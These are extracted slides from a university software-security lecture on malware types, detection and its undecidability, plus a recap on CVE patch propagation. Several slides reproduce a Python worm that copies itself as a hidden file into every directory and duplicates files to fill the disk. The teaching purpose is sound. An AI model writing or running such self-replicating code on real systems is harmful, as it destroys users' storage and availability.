
# Lecture 9 – Malicious Software

[COSE451] Software Security


Instructor: Seunghoon Woo

Spring 2024




- Why does modified reuse make vulnerability detection difficult?
  - Version-based detection techniques produce many false positives
  - Code-based detection techniques yield many false negatives


Example: Version-based vulnerability detection approach



Example: Version-based vulnerability detection approach



Example: Version-based vulnerability detection approach






CVE-2017-8779 CVE-2018-14621 CVE-2018-14622

was not checked in all instances, which cou	s found in libtirpc before version 0.3.3-rc3. The return value of makefd_xprt() ald lead to a crash when the server exhausted the maximum number of could cause an rpc-based application to crash by flooding it with new	Max CVSS EPSS Score Published Updated	7.5 3.60% 2018-08-30 2023-02-03
CVE-2018-14621  An infinite loop vulnerability was found in libtirpc before version 1.0.2-rc2. With the port to using poll rather than select, exhaustion of file descriptors would cause the server to enter an infinite loop, consuming a large amount of CPU time and denying service to other clients until restarted.		Max CVSS EPSS Score Published Updated	7.8 0.20% 2018-08-30 2019-10-09
the maximum RPC data size during memory	Public exploit  2.1 and 1.0.2-rc through 1.0.2-rc3, and NTIRPC through 1.4.3 do not consider allocation for XDR strings, which allows remote attackers to cause a denial of sequent free) via a crafted UDP packet to port 111, aka rpcbomb.	Max CVSS EPSS Score Published Updated	7.8 55.10% 2017-05-04 2019-10-03

Example: Version-based vulnerability detection approach



Example: Version-based vulnerability detection approach





CVE-2017-8779


CVE
Fixed by
backporting
security patches!

reactos/reactos

[LIBTIRPC] **Fix CVE-2018-14622** by backporting its **fix** CORE-15005

Misconfirming that there are vulnerabilities that do not actually exist => False positives

Example: Code-based vulnerability detection approach



Example: Code-based vulnerability detection approach

```
1 index aafa3dca2..d02e11328 100644
 2 --- a/ldo.c
 3 +++ b/ldo.c
 4 @@ -326,7 +327,13 @@ int luaD precall (...) {
    Proto *p = clLvalue(func)->p;
 6 - luaD checkstack(L, p->maxstacksize);
 7 - func = restorestack(L, funcr);
    n = cast int(L->top - func) - 1;
 9 + luaD checkstack(L, p->maxstacksize);
    for (; n < p->numparams; n++)
       setnilvalue(L->top++);
12 - base = (!p->is vararg)? func + 1:
       adjust varargs(L, p, n);
13 + if (!p->is vararg) {
14 + func = restorestack(L, funcr);
15 + base = func + 1;
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```

Security patch for CVE-2014-5461 (Lua v5.2.3)

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Security patch for CVE-2014-5461 (Lua v5.2.3)

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2 int luaD_precall (...) {
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5  func = restorestack(L, funcr);
6  if (!p->is_vararg) { /* no varargs? */
7  base = func + 1;
8  if (L->top > base + p->numparams)
9  L->top = base + p->numparams;
10 }
```

Propagated vulnerable code in Redis

#### Example: Code-based vulnerability detection approach

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1 index aafa3dca2..d02e11328 100644
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6    func = restorestack(L, funcr);
7    if (!p->is_vararg) { /* no varargs? */
8     base = func + 1;
9    if (L->top > base + p->numparams)
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11 }
```

A backporting patch for CVE-2014-5461 in Redis

#### Example: Code-based vulnerability detection approach

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A backporting patch for CVE-2014-5461 in Redis

If the code has been modified, it is difficult to find the propagated vulnerability using only the patterns/syntax of the known vulnerable code

=> False negatives

## **Overview**

- Viruses
- Worms
- Trojan horses
- Backdoors
- Ransomware

## Malicious software

#### Malicious software (Malware)

- A general term for all software that can have a negative impact on computers, servers, clients, and computer networks
- In many cases, malware can do anything that a "normal" program can do
- Conventional malware
  - Viruses and worms
- Ransomware, botnets, backdoor, and other beasts

## **Malicious software**

#### Symptoms that may occur due to malicious programs

Category	Symptom	
System	Change system settings	
	Change CMOS	
	Memory reduction	
	System slowdown	
	Autorun program	
	Process termination	
	Sending email	
	Information leak	
Network	Network slowdown	
	Open specific port	
	Sending message	

Category	Symptom	
Houd diele	Hard disk format	
Hard disk	Boot sector destruction	
	Create file	
File	Delete file	
	File corruption	
	Modify file	



#### Computer virus

- Piece of software that infects programs
  - A program that can infect other programs or files by modifying them
  - It spreads by copying itself to other programs
- When attached to an executable program, a virus can do anything that the program is permitted to do

- Executes secretly when the host program is run



#### Virus phase

- 1. Dormancy (휴면): inactive until the host program runs
- 2. Infection (propagation): when the virus spreads
- 3. Trigger: when the payload is executed
- 4. Payload (execution): when the virus actually works



Pseudo code of a computer virus

```
def virus():
   infect ()
   if trigger () is true then
     payload ()
```

```
def infect():
    repeat k times:
        target = select_target()
        if no target then
            return
        infect_code (target)
```



#### Virus propagation route

- Phishing (emails)
  - Send malware code via an email
- Malicious URL links (included in the body of the email)
  - Send malicious URL links via an email
- Semi-automatic download
  - Send malicious code when the user goes directly to a malware transmission site or is redirected to the page through malvertising



#### Program file viruses

- Most viruses infect executable program files
- How and where virus code is inserted (in the host file) varies?



#### Program file viruses

- Most viruses infect executable program files
- How and where virus code is inserted (in the host file) varies?




Figure 7.1: Virus strategies for code location. Virus code is shaded. (a) Shift and prepend. (b) Append. (c) Overwrite from top. (d) Overwrite at interior.



#### Program file viruses

- (a) Shift and prepend
  - The virus code is inserted at the front after shifting the original file, which is arranged to execute after the virus code. This increases the file length




Figure 7.1: Virus strategies for code location. Virus code is shaded. (a) Shift and prepend. (b) Append. (c) Overwrite from top. (d) Overwrite at interior.



#### Program file viruses

- (b) Append virus code to end of host file
  - The original JUMP target is changed to be the first line of the appended virus code. The virus code ends by jumping to the originally indicated start-execution point




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#### Program file viruses

- (c) Overwrite the host file, starting from the top
  - The host program is destroyed (so it should not be critical to the OS's continuing operation). This increases the chances that the virus is noticed, and complicates its removal




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#### Program file viruses

- (d) Overwrite the host file, starting from some interior point
  - A negative side effect is damaging the original program. However an advantage is gained against virus detection tools that, as an optimization, take shortcuts such as scanning for viruses only at the start and end of files—this strategy may evade such tools




Figure 7.1: Virus strategies for code location. Virus code is shaded. (a) Shift and prepend.

(b) Append. (c) Overwrite from top. (d) Overwrite at interior.



#### VBA(Visual Basic for Applications) macro viruses

- Malicious code utilizing the macro function\* of Microsoft Office applications
  - Word, Excel, Access, etc.
- Replicate themselves and cause damage to the system by executing macro code when an infected document file is opened

Macro function: small programs or scripts used to automate repetitive tasks in Microsoft Office applications



#### VBA(Visual Basic for Applications) macro viruses

- E.g., Love virus
  - When the attached VBS script file was opened, it overwrote files on the system and copied itself to everyone in the user's address book





#### Virus detection

- Virus detection problem is undecidable!
  - It turns out to be impossible for a single program to correctly detect all viruses



#### Virus detection

- Virus detection problem is undecidable!
  - It turns out to be impossible for a single program to correctly detect all viruses
  - Suppose you claim to hold a virus detector program V that, given any program P, can return a {TRUE, FALSE} result V(P) correctly answering:
    - "Is *P* a virus?"
  - Using your program V, we build the following program instance  $P^*$

program  $P^*$ : if  $V(P^*)$  then exit, else infect-a-new-target



#### Virus detection

• Let's see what happens if we run V on  $P^*$ 

program  $P^*$ : if  $V(P^*)$  then exit, else infect-a-new-target

CASE 1:  $V(P^*)$  is TRUE. That is, V declares that  $P^*$  is a virus. In this case, running  $P^*$ , it simply exits. So  $P^*$  is actually not a virus.

CASE 2:  $V(P^*)$  is FALSE. That is, V declares that  $P^*$  is not a virus. In this case running  $P^*$  will infect a new target. So  $P^*$  is, in truth, a virus.



#### Virus detection

- Let's see what happens if we run V on  $P^*$ 
  - In both cases, our detector V fails to deliver on the claim of correctly identifying a virus

CASE 1:  $V(P^*)$  is TRUE. That is, V declares that  $P^*$  is a virus. In this case, running  $P^*$ , it simply exits. So  $P^*$  is actually not a virus.

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#### Virus detection

- Trickery?
  - But this is indeed a valid proof
- Even if no program can detect all viruses, the next question is whether useful programs can detect many, or even some, viruses
  - The answer is YES!
  - For undecidable problems, it is impossible to create a perfect solution, and a sound or complete solution is applied depending on the situation




#### Virus detection in practice

- Malware signatures
  - Relatively short byte sequences that uniquely identify a virus
  - Signatures for malware active in the field are stored in a dataset, and before any executable is run by a user, an AV (anti-virus) program intervenes to test it against the dataset using highly efficient pattern-matching algorithms
- Integrity checker
  - Change detection is done by the whitelists of known good hashes of programs
- Behavioral signatures

- Detecting sequence of actions preidentified as suspicious

## Viruses vs worms




#### What is the difference? Viruses vs Worms

- The biggest feature of the worm
  - It propagates automatically without user interaction
  - Exploiting software vulnerabilities


Computer virus	Computer worm		
loop			
remain_dormant_until_host_runs();	loop		
<pre>propagate_with_user_help();</pre>	<pre>propagate_over_network();</pre>		
if trigger_condition_true() then	if trigger_condition_true() then		
run_payload();	run_payload();		
endloop;	endloop		

# Viruses vs worms



- What is the difference? Viruses vs Worms
  - A worm is not a program that affects existing programs like a virus
    - But it operates on its own as an independent program
  - The spread speed is faster than that of a virus
    - Causing fatal damage to the network within a short period of time


## Viruses vs worms



#### Example worms

```
class Worm:
   def init (self, path=None, target dir list=None, iteration=None):
       if isinstance(path, type(None)):
           self.path = "/"
       else:
           self.path = path
       if isinstance(target_dir_list, type(None)):
           self.target dir list = []
       else:
           self.target dir list = target dir list
       if isinstance(target_dir_list, type(None)):
           self.iteration = 2
       else:
           self.iteration = iteration
       # get own absolute path
       self.own path = os.path.realpath( file )
```

https://shantoroy.com/security/write-a-worm-malware-in-python/



### Example worms

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class Worm:
   def init (self, path=None, target dir list=None, iteration=None):
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
#### path

- Defines where to start looking for directories (default is set to the root directory)
- target\_dir\_list
  - User can pass a list of initial target directories
  - By default it is an empty list []

#### iteration

 Define how many instances the worm will create for each existing file in a directory

https://shantoroy.com/security/write-a-worm-malware-in-python/



### Example worms

```
def list_directories(self,path):
    self.target_dir_list.append(path)
    files_in_current_directory = os.listdir(path)


for file in files_in_current_directory:
    # avoid hidden files/directories (start with dot (.))
    if not file.startswith('.'):
        # get the full path
        absolute_path = os.path.join(path, file)
        print(absolute_path)

    if os.path.isdir(absolute_path):
        self.list_directories(absolute_path)
    else:
        pass
```

#### **Method to list all Directories**

 To list all the target directories and subdirectories where we want to copy our worm and existing files in the directories

https://shantoroy.com/security/write-a-worm-malware-in-python/




### Example worms

```
def create_new_worm(self):
    for directory in self.target_dir_list:
        destination = os.path.join(directory, ".worm.py")
        # copy the script in the new directory with similar name
        shutil.copyfile(self.own_path, destination)
```

#### Method to Replicate the Worm

 To replicate the script itself in all the target directories, we get the absolute path of the script we are running, and than copy the contents in the destination directories creating a new hidden file (starts with a dot .) with the same name

https://shantoroy.com/security/write-a-worm-malware-in-python/




#### Example worms

#### Method to copy existing files

- Duplicate files the number of times the value we have from the iteration argument
- You can put a large number so that the hard drive will be full soon


https://shantoroy.com/security/write-a-worm-malware-in-python/



### Example worms

```
def start_worm_actions(self):
    self.list_directories(self.path)
    print(self.target_dir_list)
    self.create_new_worm()
    self.copy_existing_files()
```

Method to integrate everything



### Example worms

```
def start_worm_actions(self):
    self.list_directories(self.path)
    print(self.target_dir_list)
    self.create_new_worm()
    self.copy_existing_files()
```

Method to integrate everything

```
if __name__ == "__main__":
    current_directory = os.path.abspath("")
    worm = Worm(path=current_directory)
    worm.start_worm_actions()
```

# **Trojan Horses**



### Trojan horse

- A stealthy malware
- A software that provides malicious functions in addition to its known functions
- It is not a parasite on an existing normal program, but is already included in the program from the moment of installation
- (Strictly) Trojan horses differ from computer viruses or worms in that they do not copy themselves to other files
  - However, recently, many malwares are Trojan horses and have both worm and virus functions, so there is no clear distinction between them

## **Backdoor**



### Backdoor (trapdoor)

- A secret entry point into a program allowing the attacker to gain access and bypass the security access procedures
- Any program that does not directly harm the computer, but allows an attacker to penetrate the computer and take control of the user's computer or introduce computer threats into the computer system

## Backdoor



### Backdoor (trapdoor)



#### Ransomware

- Malware with a specific motive: to extort(강탈하다) users
  - Prevent access to files by encryption then ask users to pay for recovery (file lockers)
  - Payment is demanded in hard to trace, non reversible forms such as pre paid cash vouchers or digital currencies, e.g., Bitcoin




#### Ransomware

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  - Prevent access to files by encryption then ask users to pay for recovery (file lockers)
  - Payment is demanded in hard to trace, non reversible forms such as pre paid cash vouchers or digital currencies, e.g., Bitcoin
- Ransomware may be deployed by any means used for other malware
  - E.g., Trojan software installed by users unwittingly or via social engineering




### HOW RANSOMWARE WORKS?



https://medium.com/@rahulsharma0856/ransomware-how-it-works-a-growing-cyber-attack-d976aee62944





https://www.youtube.com/watch?v=\_AYBIQrsRrM







#### Ransomware

- Best practice defenses include regular backup of all (important) data files
- Even if you pay, it is common for attackers not to provide decryption...
- Do not click on unverified links
- Scan emails for malware
- Vulnerability management

• . . .

## **Next Lecture**

Supply chain security